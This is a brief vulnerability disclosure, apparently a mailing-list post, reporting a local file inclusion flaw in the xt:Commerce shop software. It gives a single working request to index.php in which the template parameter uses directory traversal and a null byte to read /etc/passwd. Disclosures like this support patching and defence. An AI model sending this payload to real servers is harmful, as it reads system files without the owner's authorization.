xtcommerce local file include

local file include:
/index.php?currency=EUR&manufacturers_id=1&template=../../../../../../../../etc/passwd%00

regards laurent gaffi=E9